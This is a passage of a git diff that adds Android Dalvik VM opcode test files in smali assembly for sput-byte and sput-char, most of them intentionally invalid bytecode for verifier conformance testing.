@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_24.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali
new file mode 100644
index 0000000..1f07f16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_3.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_3;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali
new file mode 100644
index 0000000..c2d2de5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_4.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-byte v3, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali
new file mode 100644
index 0000000..df42410
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_7.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_7;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali
new file mode 100644
index 0000000..a85cdb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_8.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/TestStubs;->TestStubField:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali
new file mode 100644
index 0000000..f6ca1c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_9.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_9noclass;->st_i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali
new file mode 100644
index 0000000..398ca8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_1.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+.field protected static st_p1:C
+.field private static st_pvt1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()C
+.registers 2
+
+       sget-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_pvt1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_i1:C
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali
new file mode 100644
index 0000000..1b8d905
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_10.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_10;->st_i1N:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali
new file mode 100644
index 0000000..b263b78
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_11.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/TestStubs;->TestStubFieldFinal:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali
new file mode 100644
index 0000000..4c33f94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_12.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_12;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali
new file mode 100644
index 0000000..f53e67a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_14.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_14;
+.super  Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()C
+.registers 2
+
+       sget-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_p1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_p1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali
new file mode 100644
index 0000000..4d4ceef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_15.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_15;
+.super  Ldot/junit/opcodes/sput_char/d/T_sput_char_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_1;->st_pvt1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali
new file mode 100644
index 0000000..ae24941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_17.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_17;->st_i1:C
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali
new file mode 100644
index 0000000..7e4645e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_18.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_18.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali
new file mode 100644
index 0000000..b5b2122
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_2.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_4;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali
new file mode 100644
index 0000000..a252e1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_21.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_21;->st_s:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali
new file mode 100644
index 0000000..ecd8c2b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_22.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali
new file mode 100644
index 0000000..4fb2ed0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_23.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali
new file mode 100644
index 0000000..a67e3fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_24.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali
new file mode 100644
index 0000000..598bc36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_3.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_3;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali
new file mode 100644
index 0000000..352be0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_4.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-char v3, Ldot/junit/opcodes/sput_char/d/T_sput_char_4;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali
new file mode 100644
index 0000000..66df07c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_7.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_7;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali
new file mode 100644
index 0000000..3cc3371
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
